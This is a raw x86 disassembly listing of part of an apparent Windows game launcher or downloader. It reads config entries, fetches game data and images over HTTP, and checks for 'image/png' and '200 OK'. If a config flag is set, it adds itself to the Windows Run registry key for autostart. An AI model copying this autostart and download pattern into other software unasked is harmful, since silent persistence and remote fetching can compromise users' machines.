push 0x55f58a
push dword [ebp - 0x10]
call fcn.00403112
add esp, 8
cmp eax, 0
je 0x404552
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x4044b8
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423de0
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 7
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4044ed
mov eax, 0x4a7a0a
push eax
push 2
mov ebx, 0x4239e0
call fcn.004232bf
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x404513
push ebx
call fcn.004232a7
add esp, 4
push str.HTTP:__
push dword [ebp - 0x34]
call fcn.00403112
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x404541
push ebx
call fcn.004232a7
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x404552
mov eax, 1
jmp 0x404554
xor eax, eax
test eax, eax
je 0x4048eb
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x404578
push eax
mov ebx, eax
call fcn.0040213e
inc eax
push eax
call fcn.004232ad
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x594914]
test ebx, ebx
je 0x40458c
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [0x594914], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f598
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.time
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4045c9
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4045f2
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404618
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [0x594918], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f598
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f59b
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404657
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x404680
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4046a6
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [0x59491c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f598
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f59f
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4046e5
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x40470e
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404734
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [0x594920], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f5a4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f5a8
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404773
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x40479c
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4047c2
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [0x594924], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f5a4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f5ae
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404801
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x40482a
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404850
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [0x594928], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f5b5
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.time1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40488f
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4048b8
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4048de
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [0x59492c], eax
jmp 0x4048eb
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f58a
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f58c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f57c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404922
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40494c
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push 0x55f58a
push dword [ebp - 0x10]
call fcn.00403112
add esp, 8
cmp eax, 0
je 0x404a16
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x40497c
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423de0
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 7
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4049b1
mov eax, 0x4a7a0a
push eax
push 2
mov ebx, 0x4239e0
call fcn.004232bf
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4049d7
push ebx
call fcn.004232a7
add esp, 4
push str.HTTP:__
push dword [ebp - 0x34]
call fcn.00403112
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x404a05
push ebx
call fcn.004232a7
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x404a16
mov eax, 1
jmp 0x404a18
xor eax, eax
test eax, eax
je 0x404d21
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x404a3c
push eax
mov ebx, eax
call fcn.0040213e
inc eax
push eax
call fcn.004232ad
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x594930]
test ebx, ebx
je 0x404a50
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [0x594930], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f598
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.time
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f57c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404a8d
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x404ab6
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404adc
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [0x594934], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f598
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f59b
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f57c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404b1b
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x404b44
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404b6a
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [0x594938], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f598
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f59f
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f57c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404ba9
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x404bd2
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404bf8
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [0x59493c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f5a4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f5a8
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f57c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404c37
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x404c60
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404c86
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [0x594940], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f5a4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f5ae
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f57c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404cc5
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x404cee
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404d14
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [0x594944], eax
jmp 0x404d21
cmp dword [0x594918], 0
jle 0x404d51
push 0x4a7a0a
push dword [0x594914]
call fcn.00403112
add esp, 8
cmp eax, 0
je 0x404d51
mov eax, 1
jmp 0x404d53
xor eax, eax
test eax, eax
je 0x404d7d
push 0
push 0x3e8
push 0xffffffffffffffff
push 8
push 0x1601e0b6
push 0x52010001
call fcn.004232cb
add esp, 0x18
jmp 0x404d7d
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x4a7a0a
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.start
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.config
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404db4
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x404dde
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x404df5
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jne 0x404f2b
push 0xffffffffffffffff
push 8
push 0x6010000
push 0x52010001
call fcn.004232d7
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404e56
push ebx
call fcn.004232a7
add esp, 4
push 0
mov ebx, 0x423710
call fcn.004232bf
add esp, 4
mov dword [ebp - 0x34], eax
push 0
mov ebx, 0x423730
call fcn.004232bf
add esp, 4
mov dword [ebp - 0x38], eax
push str.__start
push dword [ebp - 0x38]
push 0x55f5f5
push dword [ebp - 0x34]
mov ecx, 4
call fcn.004021a9
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x404eb0
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x404ec0
push ebx
call fcn.004232a7
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x3c]
test eax, eax
jne 0x404ed3
mov eax, 0x4a7a0a
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x404ee7
mov eax, 0x4a7a0a
push eax
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x4254b0
call fcn.004232bf
add esp, 0x28
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x404f16
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x404f26
push ebx
call fcn.004232a7
add esp, 4
jmp 0x404f2b
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f583
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.gamenum
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.config
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x404f62
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x2c], eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x404f8b
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x423f80
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x404fb1
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
push eax
lea eax, [ebp - 0x18]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40594d
push 0x80000301
push 0
push dword [ebp - 0x18]
push 1
mov ebx, 0x424770
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push str.game
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x405018
push ebx
call fcn.004232a7
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x4a7a0a
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.name
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x405043
mov eax, 0x4a7a0a
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x405057
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40507d
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x405091
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push 0x80000301
push 0
push dword [ebp - 0x18]
push 1
mov ebx, 0x424770
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push str.game
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4050dc
push ebx
call fcn.004232a7
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x4a7a0a
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.down
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x405107
mov eax, 0x4a7a0a
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40511b
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x405141
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405155
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push 0x80000301
push 0
push dword [ebp - 0x18]
push 1
mov ebx, 0x424770
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push str.game
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4051a0
push ebx
call fcn.004232a7
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x4a7a0a
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.logo
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4051cb
mov eax, 0x4a7a0a
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4051df
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x425c70
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x405205
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x405219
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0x4a7a0a
push dword [ebp - 0x10]
call fcn.00403112
add esp, 8
cmp eax, 0
je 0x40526f
push 0x4a7a0a
push dword [ebp - 0x1c]
call fcn.00403112
add esp, 8
cmp eax, 0
je 0x40526f
push 0x4a7a0a
push dword [ebp - 0x20]
call fcn.00403112
add esp, 8
cmp eax, 0
je 0x40526f
mov eax, 1
jmp 0x405271
xor eax, eax
test eax, eax
je 0x405945
push 0x80000301
push 0
push 0xb
push 1
mov eax, 2
mov ebx, 0x46f420
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x10]
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4052c5
push ebx
call fcn.004232a7
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4052d8
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x424bb0
call fcn.004232bf
add esp, 0x10
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4052fb
push ebx
call fcn.004232a7
add esp, 4
push 0x80000301
push 0
push 0xb
push 1
mov eax, 2
mov ebx, 0x46f420
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x2c], eax
push str.game.png
push dword [ebp - 0x10]
push dword [ebp - 0x2c]
mov ecx, 3
call fcn.004021a9
add esp, 0xc
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40534c
push ebx
call fcn.004232a7
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x40535f
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x424bd0
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x405385
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x34]
and eax, 1
xor eax, 1
test eax, eax
je 0x405798
push 1
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.004063f6
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x405412
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x405422
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x405432
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x405442
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x405452
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x405462
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x405476
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.image_png
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4054b1
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
je 0x40552f
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.200_OK
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x405508
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
je 0x40552f
mov eax, 1
jmp 0x405531
xor eax, eax
test eax, eax
je 0x405793
push 0x80000301
push 0
push 0xb
push 1
mov eax, 2
mov ebx, 0x46f420
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x2c], eax
push str.game.png
push dword [ebp - 0x10]
push dword [ebp - 0x2c]
mov ecx, 3
call fcn.004021a9
add esp, 0xc
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40558a
push ebx
call fcn.004232a7
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x40559d
mov eax, 0x5086c5
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4055b1
mov eax, 0x4a7a0a
push eax
push 2
mov ebx, 0x424cd0
call fcn.004232bf
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4055d7
push ebx
call fcn.004232a7
add esp, 4
cmp dword [ebp - 0x34], 0
je 0x40578e
push 0x594900
push 4
mov eax, 2
call fcn.004232a1
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
mov ebx, dword [0x594900]
mov dword [ebp - 0x30], ebx
call fcn.0040101d
mov dword [ebp - 0x34], ecx
mov edi, dword [ebp - 0x30]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x405628
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x34]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x30]
call fcn.004232c5
add esp, 8
mov dword [0x594900], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x34]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x2c]
push edi
test eax, eax
je 0x40566d
push eax
mov ebx, eax
call fcn.0040213e
inc eax
push eax
call fcn.004232ad
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
push 0x594948
push 4
mov eax, 2
call fcn.004232a1
add esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov ebx, dword [0x594948]
